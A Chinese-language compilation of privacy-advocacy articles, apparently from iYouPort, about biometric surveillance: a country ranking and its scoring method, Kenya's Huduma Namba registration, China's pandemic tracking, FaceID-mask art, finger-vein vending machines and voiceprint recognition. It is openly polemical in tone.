该国在公共场所没有实施面部识别，法院已在工作场所保护员工的生物特征数据。

4、英国＝ 12

「图」

英国有小型的生物识别数据库，例如一项是针对进入该国的有罪犯记录的人，另一项是针对非英国公民的，并且受GDPR规则的约束。

面部识别CCTV也有一定程度上的管理。例如，King’s Cross Station使用了面部识别技术，但没有事先通知（因此不符合知情同意原则）。由于公民的反对，该项目目前已被关闭，进一步开发它的计划已被搁置。

但该技术也在其他地区进行测试，但公民仍在继续抗议。

5、罗马尼亚＝ 12

「图」

罗马尼亚的评分与塞浦路斯相同，这是因为罗马尼亚没有带面部识别功能的闭路电视摄像机，而且该国尚未加入申根协定，因此表现相对出色。

但是，值得注意的是，罗马尼亚正在加入谈判，这将使他们的分数至少提高2分，因为谈判成功意味着今后进入该国的人将被收集生物特征数据。

尽管大多数国家都存在令人关注的隐私侵犯问题，但这5个国家似乎正在积极采取措施来尝试保护某些生物识别数据领域。

同样得分为12分的瑞士也应被鼓励。

瑞士＝ 12

「图」

瑞士是非欧盟国家中表现最好的国家，因为它在公共区域和投票系统中没有使用生物识别技术或面部识别摄像头。

该国具有针对生物识别的专门法律，仅用于犯罪的生物识别数据库，并且具有针对员工生物识别数据的额外保护措施。

瑞士是申根国，因此2020年进出该国将需要被收集生物识别数据。

欧盟

「图」

您可能会注意到，本研究的前五名中没有欧盟国家。只有一个欧盟国家爱沙尼亚得分18。

总体而言，欧盟国家表现较好的部分原因是GDPR、及其对生物识别技术的管制，尤其是在工作场所采取的生物识别。正如GDPR法律所规定的，“应禁止出于唯一识别自然人[...]的目的处理生物特征数据。”

但这不适用于“数据主体已作出明确同意”或“为了履行义务并行使当事人或数据主体在就业领域的特定权利所必需”的情况。

在某些情况下，成员国根据自己对法律的解释方式（在本国法律范围内或在特定情况下）评价会更高。例如，荷兰推出了更多的保障措施，因此在这一类别中得分为1。

在闭路电视监视器方面，所有欧盟国家的得分都在3分以下。一些国家采用了面部识别，但仅在某些区域或特定事件中采用。

但是，大多数欧盟国家/地区在签证部分拉分了。

2020年，作为申根协定的一部分将在欧盟内部实施进/出监视系统。该系统创建了覆盖28个国家/地区的庞大的生物识别数据库，每个成员国的执法部门都可以访问该数据库。

这是在申根成员国之间共享的各种其他数据库的基础，包括签证信息系统（VIS），该系统已经包含超过6000万张签证申请和4000万套指纹。

保加利亚、塞浦路斯、英国、罗马尼亚和爱尔兰都不是申根国，但是塞浦路斯和罗马尼亚已经加入了谈判。此外，英国脱欧后的立场可能会改变。

希腊、匈牙利和拉脱维亚的 iBorderCtrl 测试

「图」

欧盟刚刚完成了对这三个国家边界的iBorderCtrl（智能便携式控制系统）的测试。本质上，这是一个测谎仪测试。

旅客必须使用网络摄像头回答屏幕上的动画边防人员的问题，在此之前还必须上传自己的签证、护照的照片，并提供资金证明的证据。

欧盟称这种“欺骗检测”将分析旅行者的微手势，以确定受访者是否在撒谎。任何被标记为高风险的旅行者都必须在边境进行更详细的检查。在这里看到介绍《虚拟警察测谎仪：旅行者的新麻烦》。

爱沙尼亚＝ 18

「图」

爱沙尼亚是欧盟中排名最差的国家，这是因为该国在大多数类别中得分很高（CCTV除外）。

后者归功于其全国范围的生物识别数据库，其中包含从药店处方到银行详细信息、从教育到公交车票的大量私人信息。所有这些都可以通过指纹识别进行访问，并创建了一个数字国民身份证。

尽管该数据库已被分散并被认为具有一些最先进的技术来保护它，但该数据库的确存在，并且执法部门可以访问其中的一部分。

法国＝ 15

「图」

在2016年法国就表示计划建立一个集中式数据库 Alicem，其中将包括所有护照和身份证件的生物特征信息。目前正在推广中，但是现在已更改为使用面部识别技术。

该工具将使公民能够访问各种在线服务，例如健康保险、车辆登记、和身份证，但要执行这些操作，需要面部识别认证。

法国数据保护机构CNIL批评了 Alicem，建议应提供面部识别注册的替代方法。CNIL还对历史记录数据要在服务器上存储7年这一事实提出了担忧。

爱尔兰＝ 11

「图」

在该国某些城市已经安装了面部识别监视相机（用于测试目的），但这违反了爱尔兰法律。结果，爱尔兰的数据保护专员现在打算对这些CCTV摄像机的操作进行调查，因为人们认为这些数据是非法收集并保存的。

其他需要关注的关键领域

「图」

日本＝ 16

「图」

日本目前正以多种不同方式使用面部识别。在这里看到《日本和中国争夺人脸识别霸主地位》。

一个示例是监视赌博设施，以便在玩家到达时可以识别出“赌博成瘾”者，并拒绝其入场。

巴西＝ 18

「图」

巴西目前正在实施全国性数据库，该数据库将于明年开始使用。

该数据库将包含2亿多人的详细信息，并且“将尽可能广泛地共享信息”。此信息包括生物特征详细信息，虹膜、语音、面部表情和步态，这些信息已被收集以形成ID文档。

方法

「图」

该报告创建了五个类别。较高的分数表示更多的生物特征入侵。

第一类是一组简单的五个问题，是或否。如果答案是肯定的，就被分配一分，因为表明该国在某个领域使用了生物识别（或缺乏法律保护），否定的回答意味着没有收集任何生物识别数据（或受到了特定法律的保护）。

这些问题是：# 护照中是否使用生物识别技术？是（1）/否（0）

- 国民身份证上是否包含生物识别信息？是（1）/否（0）
- 该国是否未制定保护生物特征数据的法律？是（1）/否（0）
- 银行是否使用生物识别？是（1）/否（0）
- 生物识别选民登记是否被广泛使用？是（1）/否（0）

接下来的四个类别最高得分为5。

0 ＝没有生物特征数据库

1 ＝很小的生物特征数据库，警察无法访问

2 ＝具有警方可访问权限的小型生物特征数据库（即犯罪数据库）

3 ＝具有警察访问权限的中型生物特征数据库

4 ＝全国大部分地区都包含在生物特征识别数据库上，警察有访问权限（不包括指纹）

5 ＝ 全国大部分地区都包含在生物特征识别数据库上，警察有访问权限（包括指纹）

CCTV

「图」

0 ＝未使用或使用的很少

1 ＝已经提到在CCTV监视器中使用面部识别功能

2 ＝已经开始测试人脸识别功能的CCTV

3 ＝开始在多个地方实施人脸识别CCTV

4 ＝ 多数地方都使用了面部识别CCTV监视，包括特定地方一些极端情况（例如用于监视某些特定人群的地方，通常是边缘社区、有色人种和穷人）

5 ＝全国范围内有许多极端情况

工作场所

「图」

0 ＝禁止使用生物识别

1 ＝可以使用生物识别技术，但仅在极端情况下使用（例如用于访问超敏感信息

2 ＝生物识别技术受到多种保护措施的保护，而仅仅员工的同意不足以使雇主使用这类技术

3 ＝ 只有很少的保护措施（或不是特定保护措施）并且征得同意就足够了

4 ＝ 极少的保护措施，有些情况下过度使用

5 ＝没有保护和过度使用的情况

签证

「图」

0 ＝不需要签证，进入该国时无需检查

1 ＝很少有国家/地区被要求签证，不包含生物识别信息，并且当人们进入该国时不需要进行任何生物识别检查

2 ＝有些国家（但不是全部）被要求签证，该签证中包含生物识别信息，并且对进入该国的人进行了一些生物识别检查（不包括本国公民）

3 ＝有些国家（但不是全部）要求签证，该签证中包含生物特征识别信息，并且对进入该国的所有人都进行了一些生物特征识别检查

4 ＝大多数国家/地区要求签证其中包含生物特征识别信息，入境时需要进行一些生物特征识别检查

5 ＝所有国家/地区都需要签证其中包含生物识别信息，进入该国家/地区时会对每个人进行生物识别检查

尽管这份报告尝试涵盖了尽可能多的生物识别领域，但可能存在一些限制。为了确保更公平的国家/地区比较，报告将重点放在更容易获得数据的更常见的类别/领域上。

例如，报告中没有包括无人机监视，因为目前许多无人机仅在军事行动中使用，或者在少数国家/地区仍在进行讨论，以作为可能的测试。

有关每个国家/地区的来源的完整列表，请参阅以下文档：

Biometrics by Country (non-EU)—sources and commentary

Biometrics by Country (EU)—sources and commentary

Biometrics Score Sheet

Biometric data: 50 countries ranked by how they're collecting it and what they're doing with it

原文

六千万美元的猖狂 - iyouport

中国-半壁高堡奇人你我的灾难现实协助暴政的家伙们生物识别-眼下最严重的威胁，以及怎么办

【 2019年10月16日存档】他们说，如果你没有这串号码，将完全无法生活—— 维持你生存的一切都需要这串号码。

但是目前还没有人看到这串号码，却被它恐吓出的“重要性”驱动着去排队等候注册，提交自己方方面面的一切信息，包括生物识别数据...

这是全球反乌托邦大跃进的最新一幕 —— 由中国和印度等国家领军 —— 从哪里才能打破政权履带碾压一切的进程？

在内罗毕市中心的希尔顿酒店对面，一小群人在正午的阳光下排队，这可是该国异常炎热的四月天。

穿着品牌黄色背心的注册代理人正忙着工作，手持法国跨国公司 **IDEMIA** 提供的平板电脑。

这一场面意味着肯尼亚政府推出 Huduma Namba 的计划已经部分成功（斯瓦希里语意味“服务号码”）—— ⚠这是一项雄心勃勃的大规模生物识别数据登记计划，一直饱受争议并面对法律挑战。但为什么还是能推动呢？

肯尼亚执政党联盟已经将自己打造成了数字治理的先锋，而这项价值6000万美元的项目 Huduma Namba 就是其最新举措。

内阁官员 Fred Matiang’i吹嘘说，Huduma Namba不仅将加强安全、遏制腐败，还将“简化资源分配、改善服务提供”。这些都是1984最常见的BS。

自从 Huduma Namba 于4月2日开始在全国范围内推出以来，政府官员已经开始广泛霸占广播、电视、平面媒体和 **Twitter** 以期说服人们接受。

对媒体的利用是当权者最拿手的（关于如何对付这点参见行动策划《别让媒体为你的对手工作：创造性破坏》）

并且，当局已经在交通繁忙的地区建立了登记站，全国有35,000个登记站在使用。

国家机构威胁要切断那些拒绝登记的人获取服务的权利。

据政府消息来源称，到目前为止已有超过**2000万人**接受了登记被收集生物识别数据。

渐渐地，在哄骗和压力之下，肯尼亚人正在排队等着被收集 —— 因为该国官员声称这一号码是“必不可少”的。

如果证明成功，Huduma Namba 计划将捕获并将数百万肯尼亚人的数据整合到一个单一的数字系统 —— 国家综合身份管理系统中。

根据总统乌胡鲁·肯雅塔（Uhuru Kenyatta）的说法，该数据库将成为“肯尼亚个人身份的唯一真值来源”。

每个人都将获得一个独特的身份证号码，比印度的 Aadhaar 号码更厉害。正如一位助理负责人所说，Huduma Namba 将“成为一切号码的前提”。

但仍有许多肯尼亚人持怀疑态度。在这个用宗教信仰做为道德评判和政治批评的国家里，传言使人们相信 Huduma Namba 是魔鬼的标志。

借助本土文化抵制官方的政治宣传是很棒的策略（相关解释详见《了解你的文化地形是策划行动的第一步》）

非营利组织肯尼亚人权委员会（KHRC）呼吁肯尼亚人抵制这项倡议，而议会和法院则威胁要彻底破坏这一倡议。

在Twitter上，政府咄咄逼人的 Huduma Namba 宣传已成为人们嘲笑的对象。模拟干旱诅咒的一位 Twitter 用户评论说：“政府居然没说如果拒绝 Huduma Namba 就不会下雨。”

然而，肯尼亚官员仍在厚着脸皮坚持下去。

⚠**Huduma Namba** 是全球反乌托邦大跃进趋势中的最新动态 —— 这一趋势参见中国和印度等国家 —— 即 通过大数据实现彻底的

1984。

国家代表将 Huduma Namba 描述为收集、验证和数字化肯尼亚人生物数据的中立且有效的手段，可以替代所有其他注册号码的“一个数字万能钥匙”。

解释一下这句话就是：该号码关联你的一切，你再也没可能在任何方面实现匿名和化名。

尽管对其声称的好处感到困惑，但注册过程相对简单。任何六岁以上的人都可以注册。

登记的人必须至少携带一张政府签发的身份证件 —— 无论是出生证、驾驶执照、国民身份证、护照、还是侨民卡。

登记代理人协助人们填写两页的表格，其中要求提供一系列个人信息，包括出生详情、婚姻状况、地址、教育程度、和土地所有权，然后扫描到兼作相机和指纹扫描仪的平板电脑上。

（去年底听闻中国部分地区出现了新的“人口普查”，来自北京消息人士称甚至被登记了工作地点、上班使用的交通工具等等信息，并且，这次登记使用的是电子设备，而非纸质表格。应该格外提起警惕，因为，还记得当年在大屠杀之前纳粹做过什么吗？详见《纳粹和你》）

在注册过程结束时，注册人会收到一张长条纸，让他们在未来某个未公开的日期申请他们的 Huduma Namba。

很多人都想知道他们最终会如何以及何时才能收到那串难以捉摸的号码。

还记得他吗👇？《血族》的主演，他的手臂上被纹了一串数字，A230385，那是奥斯威辛集中營的标志。那是IBM提供给纳粹的技术。

十年禁令

对效率和怀疑主义的担忧并不是围绕该计划的唯一问题。

而且，⚠法国跨国公司负责收集肯尼亚人的数据，这非常令人不安。

IDEMIA，以前称为 OT-Morpho，在2017年的选举中首次引发争议，因为该公司被迫否认其生物识别选民身份登记系统被黑客攻击。

反对派领导人指责该公司提供选民身份识别和结果传输工具包，指控其不当行为 —— 这是 IDEMIA 强烈否认的指控。

但是，有令人担忧的严重理由。隐私国际和知识产权与信息技术法中心（CIPIT）最近的一份报告显示，选民数据在选举前可供出售。就在此前一周，肯尼亚议会投票禁止 IDEMIA 在该国开展业务至少十年。

但是，禁令并没有阻止政府。政府宣布，尽管议会将 IDEMIA 列入黑名单，Huduma Namba 仍将继续。

尽管如此，这次投票还是对 IDEMIA 被授予政府招标的秘密程序进行了更严格的审查。

谁的真值？

几十年来，民事登记一直是争论谁是和谁不是“肯尼亚人”的主要场所。

如果在肯尼亚没有合法身份，个人就不能自由行动、无法正式工作、不能开设银行账户、不能注册SIM卡、也不能访问许多其他私人和公共服务。

不论是公民还是难民经常会被迫使用非法手段获取文件。

在过去的七年里，穆罕默德（化名）一直在徒劳地试图获得令人垂涎的国民身份证。尽管他提供了能证明自己公民身份的文件，但他仍被怀疑为印第安人和穆斯林。

“今天他们说你是外国人，明天他们就说你是青年党”，穆罕默德说（青年党是支持本拉登和基地组织的恐怖组织）。

一名登记官拒绝了他的申请，神奇的理由是“许多难民都叫穆罕默德”，其他官员则向他索取贿赂。

人权组织担心，Huduma Namba 进程只会将这些现有的歧视形式数字化。

民权倡导者指出，不仅是无国籍和被边缘化的人应该警惕 Huduma Namba。任何人都应该警惕，因为肯尼亚尚未颁布任何数据保护立法。

因此，政府正在“在没有任何真正的法律监督的情况下”收集信息。

矛盾和不一致的政府声明进一步加剧了公众的不知情。

虽然 IDEMIA 收集了数据，但ICT部声称“国家信息集成管理系统（NIIMS）的核心注册软件是由当地软件工程师设计和集成的。”

4月初，Matiang’i 出现在一个受欢迎的穆斯林广播节目 Iqra FM 上，以向听众保证无证人员可以注册。尽管如此，民权团体报告说，那些缺乏身份证件的人已经被登记代理人拒之门外。没有身份证的穆罕默德连试一下的欲望都没有了。

货币化数据

人们纷纷猜测政府究竟想干什么。

在任何国家都一样，当然包括肯尼亚，数据是一种宝贵的政治和经济商品，肯尼亚人口数据库的逐步数字化对肯尼亚最大的电信公司 **Safaricom** 等移动运营商来说是一个庞大的福利。

如果用作人口普查、税务登记或公民身份证明，Huduma Namba 可能会影响肯尼亚宪法下的资源分配，扩大税基，或影响选民登记。

政府批评者大卫·恩迪（David Ndii）指责执政党使用 Huduma Namba 推销与总统家族有关的新手机借贷服务。他指出这一登记是大规模监视系统的构建，其背后隐藏着商业利益。

许多肯尼亚人同样怀疑政府的意图，这一点不足为奇。

肯尼亚人聚集在内罗毕的乌胡鲁公园，参加抗议活动抵制政府贪污，其中就包括抵制 Huduma Namba 的活动。

试验场

许多批评者认为 Huduma Namba 是另一个白象计划。但该项目还涉及数据收集和生物识别技术日益广泛的巨大危险。

⚠许多技术和金融公司将全球南方国家视为“监视技术创新的试验台”。

后殖民地非洲国家和其他所谓的“低权利环境”特别容易受到侵入性、不透明和不民主的数据收集方法的影响。

⚠在西方，剑桥分析公司可能因其在英国脱欧和2016年美国大选中所扮演的心理操纵角色而臭名昭著，但是，很少有人知道，剑桥分析公司是首先在尼日利亚、印度和肯尼亚等国家磨练其算法的，这些国家没有隐私保护法，不会阻止这种大规模的数据收集。

更多在这里看到《心理操纵的秘密：”行为经济学”＋PR＝？》

非洲国家是监视资本主义巨头的磨刀石。中国也在其中磨刀。

然而，肯尼亚人不是技术的被动接受者。由于法律宣传和人权团体的广泛反对，肯尼亚高等法院已经对登记工作施加了遏制。

法院警告政府，不能将政府服务与 Huduma Namba 联系起来，不能规定登记截止日期或强迫任何人登记。法院还禁止收集DNA或GPS数据、并禁止与外界共享数据。

但是，案件的最终裁决仍未作出。与此同时，肯尼亚官员已经显示出藐视法庭裁决的迹象。

Nubian Rights Forum，NAMATI 和 Haki na Sheria 等公民权利和法律权益组织继续挑战 Huduma Namba 的合宪性，并推动提高透明度。

最终，公民不服从可能是才最强大的抗议形式 —— 让更多肯尼亚人拒绝在登记站排队。〇

A $60 million government initiative to collect the data of millions in an effort to enhance services has been marked by criticism about its inefficiency and allegations of misconduct

原文

冠状病毒使中国的监视状态脱颖而出 - iYouPort

中国-半壁高堡奇人生物识别-眼下最严重的威胁，以及怎么办

这不是个好的时期。从各种角度讲都不好。从反监视角度上，人们会误会监视技术“能更好地防御病毒”，这也是为什么当局会借此宣传的原因。没错，监视技术可以抓小偷，但是现在监视技术被掌握在抢匪手里，您如何指望它维护您的利益？

「图」

「图」

Surveillance cameras in the Lujiazui financial district of Pudong, Shanghai | REUTERS

当一名杭州男子出差后返回家中时，当地警方与他取得了联系。警方跟踪了他的车牌，尽管距离疫情爆发中心很远，但是那里已经发生了一系列冠状病毒病例。警方要求这名男子在室内隔离两个星期。

大约12天后，他感到很无聊，于是提前出门了。而这一次，不仅警察来找他，他的老板也来找他了。

他被带有面部识别技术的摄像头发现在杭州西湖附近出现，当局已找到他的公司并作出了警告。

「图」

「图」

“我对大规模监视网络的能力和效率感到震惊。他们基本上可以随时随地使用AI技术和大数据来追踪我们的一举一动”，这位男子说，他不愿透露姓名，因为担心会受到打击。

中国人早就意识到，自己一直在被世界上最先进的电子监视系统所跟踪。冠状病毒的紧急情况使其中的某些技术脱颖而出，为当局提供了全面的高科技社会控制方法的“理由”。

「图」

「图」

人工智能和监视摄像头公司吹嘘他们的系统可以扫描街道，甚至找到发低烧的人，☞即使戴着口罩也能认出他们的脸，并向当局报告。

如果冠状病毒患者登上了火车，铁路的“实名制”系统就可以提供附近人员的名单。

手机应用程序可以告诉用户他们是否乘坐过载有已知冠状病毒携带者的飞机或火车，而地图则可以向用户显示被感染患者居住的建筑物的位置。

尽管社交媒体上有一些匿名的抱怨，但是目前，中国公民似乎正在接受这种额外的入侵，甚至支持这种入侵，以此作为应对突发卫生事件的一种手段。

- 《中国人什么都知道》
- 《政府监视公民一举一动，公民无动于衷-China》

DLA Piper 律师事务所香港合伙人 Carolyn Bigg 表示：“在这种情况下，即使没有明确告知，个人也可能认为这是合理的。”

电信公司长期以来一直在秘密地跟踪其用户的活动。中国移动最近甚至对此服务进行了推广，向北京居民发送短信，告诉他们电信公司可以让他们检查自己过去30天的所有去向。

它没有解释为什么用户可能需要这样做，但是如果当局或他们的雇主对他们的出行提出质疑，这可能会很有用。

“在大数据和互联网时代，每个人的一举一动都可以被清晰地看到。因此，我们现在与SARS时代有所不同，”流行病学家李岚娟上周在接受中国国家广播电视台央视采访时说，将本次疫情与2003年造成800人死亡的病毒进行了比较。

她说：“有了这样的新技术，我们应该充分利用它们来寻找感染源并控制感染源。”

工信部最近向中国的AI公司和研究机构发出了通知，呼吁它们帮助抗击疫情。这些公司对此做出了一系列回应，自夸其 [监视] 技术的功能。

面部识别技术公司 Megvii 周二表示，它已经开发出一种新方法来发现和识别发烧患者。⚠其新的 “人工智能温度测量系统” 可通过热成像仪检测体温，并利用身体和面部数据识别个人身份，目前已在北京地区进行了测试。

另一家领先的 AI 公司 SenseTime 表示，它已经建立了一个类似的系统用于建筑物入口，⚠可以识别戴着口罩的人，从而克服了早期技术的缺点。

- 关于 SenseTime 见《哪家公司正在帮助建立中国的圆形监狱？》
- 以及《中美 1984 在海湾的黑手》

监控摄像机公司浙江大华表示，它可以使用红外摄像机检测发烧，准确度在0.3摄氏度以内。

中国铁道科学研究院的朱建生在接受国家新闻社的采访时，解释了技术如何帮助当局找到在火车上可能暴露于确诊或疑似的冠状病毒病例的人。

他说：“我们将检索有关乘客的相关信息，包括列车号、车厢号以及与该人接近的乘客的信息，例如 在该人前后三排座位上的人。”

他说：“我们将提取信息，然后将其提供给相关的防疫部门。” ○

Coronavirus brings China’s surveillance state out of the shadows

原文

冠状病毒激发了愚弄 “刷脸” 的反监视艺术 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年11月26日存档】反监视的艺术形式究竟有没有用？也许您不该从技术角度考虑这个问题 ……

在与朋友们谈论冠状病毒爆发的时候，旧金山的艺术家 Baskin 意识到，使用口罩保护自己免受感染的人在解锁使用面部识别的手机时会遇到麻烦 (这的确是个问题)。

她很快就创造了一个打印有脸部照片的口罩原型 —— 不是 “你本人” 的脸，而是使用人工智能生成的想象中的人的独特面孔 —— 并在 Twitter 上发布了她的想法。“保护人们免受病毒流行的侵害，同时还能解锁你的手机。”

- 在这里看到生成AI人脸的方法《完美替身—[有视频]》

需求是立竿见影的。对这个想法感兴趣的人包括想定制口罩的癌症患者、在儿童医院工作而又不想吓到孩子的医生，以及一群中国人。

她的发明被中国媒体报道，现在她的等待名单上有超过2000人，其中很多人都有中国的邮箱。

而且这不仅仅是每个人要求一两个口罩的问题：一个潜在客户要求10000个口罩。还有8个人问能否成为她的分销商 ……

Baskin 暂时不会满足这些订单 —— 当时全球的口罩都很短缺 —— 但只要你设置 **FaceID** 在你戴上这个口罩时能识别你，这个口罩确实能用。

- 详见《口罩的政治》

“我认为这些东西的社会意义和艺术性非常酷”，RTI国际公司研究卫生保健领域生物识别技术的研究员 Robert Furberg 说，“这是威胁性

和保护性的融合，同时，我觉得这很有吸引力。”

他是联系 Baskin 的人之一，他的妻子是一名护士，曾抱怨过口罩导致 FaceID 的不便。对他来说，这个需求本身就是一种社论，“它是如此地 2020。”

但当大多数人只是担心戴上口罩后能不能使用手机时，他们可能会发现一个令人惊讶的好处。

Baskin 说，这里面有一个反监视的元素。“[口罩] 看起来是配合面部识别一起工作的，但它实际上永远不会是你自己的脸”，她说。这是在欺骗技术，保护您的生物识别信息。

“照片是你的朋友可以识别为你的东西，但机器学习不能， 这个口罩的成功表明人脸识别有错误。”

- 更多详见《当每种生物识别都可以伪造时》

反监视的艺术

「图」

近年来，从抵挡面部识别的脸部涂料到可以阻挡物体探测器的 “隐形斗篷”、从迷惑自动车牌读取器的 “时装” 系列、到香港和印度抗议者用来遮挡摄像头的简易口罩，艺术性的反监视设备和技术越来越流行。

- 《防数据泄漏、防窃听、隐身……监视自卫设计师产品》
- 更多内容参见 列表-1 “生物识别以及怎么办”

媒体对每一个进步都会给予报道，但是大多数情况下，它们更多的是政治评论，而不是对普通人有用的策略。

事实上，这些项目如果成为主流，可能就不会那么有用了，因为广泛采用可能会导致技术军备竞赛，使侵入性技术升级以便能够绕过防御系统。

即使单纯地被当作行为艺术而不是潜在的反监视解决方案，这些设计也会有弊端。

北卡罗来纳大学的监控研究员 Torin Monahan 说，这类项目有可能导致人们错误地认为监控是不可避免的，而解决问题的关键 “在于个

人”。

“这类干预措施倾向于将监控定位为一种普遍的威胁，个人可以对其做出回应，也许应该做出回应 —— 但这忽略了富裕阶层和白人的地位如何比那些被边缘化的并经常受到警察或国家监控的人群更有利”，他说。

“我担心，通过将监控商业化和美学化的这些方式，我们并没有就不平等的脆弱性进行对话。”

不过，Monahan 表示，这项工作也可以引起人们对监控现实的关注，这已经成为人们越来越敏感的问题。皮尤研究公司最近的一份报告发现，大多数美国人感觉自己正在不断地被追踪，而且对此无能为力。这与 **Adversarial** 时尚系列创始人 **Kate Rose** 的所见所闻不谋而合。

当她第一次推这个服装系列时 “需求是巨大的”，她说，自那时以来，它一直保持这个热点。

“人们不仅想参与围绕监控的对话，而且渴望表达他们对监控的看法和对投资未来的兴趣”，她补充道。

穿某种类型的衣服或使用某种类型的化妆品是这种无助感的明显表现，也可以用来激励其他人。她说，个人的抗议可能无法替代集体行动，但当集体行动没有采取时，这些服饰就会推动 “政府决定一切，我没有权力” 的觉醒。

而法律战役正越来越多地将这一话题带入公众视野。2018年，总部位于华盛顿特区的公益律师事务所 “新公民自由联盟”（New Civil Liberties Alliance）对佛罗里达州小城科勒尔盖布尔斯（Coral Gables）使用自动车牌阅读器提起诉讼。

“这是技术发展快于法律的情况之一，它比对宪法权利的解释更快”，NCLA的律师 Caleb Kruckenberg 说。“很明显，从我的角度来看，我希望法院能够进行干预”，他说。但如果他们不这样做，他补充说，这些类型的对策是继续迫使体制转变的一种方式。

艺术和生活

「图」

监控学者 Monahan 说，他最喜欢的反监控行为艺术的例子不一定是穿戴式的。例如，在比利时艺术家 Dries Depoorter 的博物馆装置 “闯红灯” 中，游客观看实时监控摄像头来捕捉闯红灯的人，并可以选择向警方举报。

“这些类型的干预很好地让人们看到他们在这些更大的监控系统中的共谋性”， Monahan 说。“这类艺术作品之所以好，是因为它们展示了可怕的一面 —— 它们不会让你感到舒适和好玩。”

Baskin 则打算让她的面部识别口罩也这样做，她说她开始这个项目 “完全是作为这种荒诞的玩笑”。而网络上的关注让她相信这其实是可以做到的 —— 这个玩笑在挑衅的同时，也可以有真正的、甚至是有益的用途。

Baskin 对让每个人都戴着她的口罩在公共场合出入并不感兴趣，但考虑到围绕着谁在使用监控的透明度有多低的问题，她说，“任何能让人们稍微害怕一点的东西都是好的”。

- 不要错过一个很好的项目《新地图显示了不可避免的监视蠕变》

○□

How coronavirus turned the “dystopian joke” of FaceID masks into a reality

原文

别摸东西！[video] - iYouPort

无处不在，无处可逃-所谓的“智能”是什么生物识别-眼下最严重的威胁，以及怎么办

乱摸东西已经变得很危险了。随时小心你的手放在哪儿！

「图」

「图」

我想你已经学会了装瘸以应对步态识别、学会了装哑以绕开声音识别、学会了戴面具以避免面部识别、学会了带墨镜以防止虹膜识别 …… 但是你的手在哪儿？现在急于关注它了，因为另一种生物识别监视技术正在流行起来，即 手指静脉识别。

你可以使用“slu”来购买一罐苏打水的日子已经一去不复返了，因为今天的自动售货机会在你购买物品之前就知道你是谁、关于你的一切包括你的犯罪记录。

美国绿色自动售货机（AGM）使用手指静脉读取器识别每个客户的身份。

简介上说：“绿色智能系统是一个年龄验证系统，可以提供商品推销和销售年龄限制产品的机会。绿色技术界面是独一无二的，可以做一些非常酷的事，如静脉验证生物识别技术。”

客户必须首先向 **AGM** 注册其个人生物识别和身份信息，否则不被允许购买任何东西。

是什么让这个报道如此令人不安？—— 是这些巨头公司急于将生物识别扫描仪放在你生活中的各个角落。

想象一下，在不久的将来，您的新车内置了 TSA 生物识别扫描仪，在您进入体育场之前监视者就可以识别您和您的家人。

但是如果你不开车怎么办？没关系，TSA 也找到了可以识别你的方

法。

想象一下，您和您的家人决定不开车进入体育场，而是走到入口处。不用担心 CLEAR 也已经安装了 TSA 生物识别扫描仪。

对购买年龄限制产品的人进行间谍活动是一件大事，AGM 和 CLEAR 正在全力以赴地获取您的个人信息。

Fast Company 的一篇文章警告称，生物识别自动售货机旨在使“特权”受益。

“吸引人的问题与成人使用有关，”AGM 顾问 Stephen Shearin 说，“但是，现实情况是，这是一个系统，它确切地说明了你的身份。”在校园环境中，某些产品如苏打水或糖果的出售可能会受到限制，尤其是对那些想要保持一贯好成绩的人来说。就像中国的信用评分的逻辑。

去年，“今日美国”警告说，药店已经开始使用 **AGM** 的自动售货机识别患者。

而且这种识别购物者的监视资本主义竞争已经变得非常糟糕，像 Walgreens、雀巢、Coors 这样的零售商都想要使用 Iris 跟踪相机！

当您意识到您的个人信息可能与全球数据库绑定时，使用生物识别技术创建社会“老大哥”的影响已经变得更加令人不安。第一个视频：https://youtu.be/K_bt0GfG584

AGM 使用日立的非侵入式 M2-FingerVein 手指静脉识别装置，但他们不希望公众知道的是，它旨在创建一个全球性的生物识别数据库，用于执法强化。

Hitachi 的 M2SYS 下拉菜单名为“Industries”，它显示它是专为执法部门设计的，可以识别囚犯等等。

国际刑警组织、联邦调查局和苏格兰场的手指静脉阅读器 “旨在满足政府执法机构的识别和数据管理要求”（要了解有关 M2SYS ePolice 的更多信息，请单击此处。）第二个视频：https://youtu.be/p3mBA7tUQMg

日立的“行业概览”揭示了手指静脉生物识别技术背后的真正含义。生物特征识别将用于跟踪我们所做的一切，无论是购买产品、上班、上医院、去银行、还是旅行。

使用生物识别技术跟踪你所做的一切的老大哥之存在是令人恐惧的，所以，现在开始，在你决定把自己的手指送给巨头公司之前，最好考虑一下。

FINGER VEIN VENDING MACHINES AND A GLOBAL BIOMETRIC POLICE DATABASE. The Big Brother implications of using biometrics to track everything we do is horrifying, so think about that before you give a corporation your finger vein.

原文

匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？ - iyouport

为什么生物识别-眼下最严重的威胁，以及怎么办

【2018年6月27日存档】人类早已学会以声音作为识别同胞的关键信息。而现在，这一识别权已经被掌握在政府、情报机构和警方的手里，那些有权因为你的一句话就把你扔进监狱的人

我们在发布这篇《提醒注意大规模监视新途径》后，得到了很多反馈，看起来有很多朋友非常关心这一问题。不过从回复上看，也有不少读者不甚理解它的危害性。究竟为什么我们称之为“匿名终结者”，为什么说声音识别是所有隐私入侵手段中最为可怕的一种？

可以说所有生物识别方式都是非常可怕的，因为生物特征是每个人独有的、且无法更改的东西。你可以更改姓名，可以采取任何在线隐私保护的匿名手段（这里有一个工具箱，可以从各方面保护隐私的工具），但是你的虹膜是无法改变的、掌形是无法改变的，静脉是无法改变的，如果你想去掉指纹，你知道会有多痛苦（《七宗罪》）。

印度的生物身份识别系统 Aadhar 使用的是指纹和眼球识别，这就是为什么称之为全球最可怕的大规模监视计划。它收录 11 亿人的生物识别数据，一生都无法更改的东西。

没错，我们身上长满了“活密码”，这些独一无二的信息就是每个人的身份，监视者最喜欢的东西。在现代技术更加倾向于生物识别解锁的大趋势下，我们将失去一切隐私。

其中相比下，最为可怕的就是声音。

声纹是指人类语音中携带言语信息的声波频谱，它同指纹一样，具备独特的生物学特征，具有身份识别的作用，不仅具有特定性，而且具有相对的稳定性。声音信号是一维连续信号，将它进行离散化后，就可以得到我们现在常见的计算机可以处理的声音信号。

每个人都具有独一无二的声纹，这是由我们的发声器官在成长过程中逐渐形成的特征。无论别人对我们的说话模仿的多么相似，声纹都具有非常明显的区别。

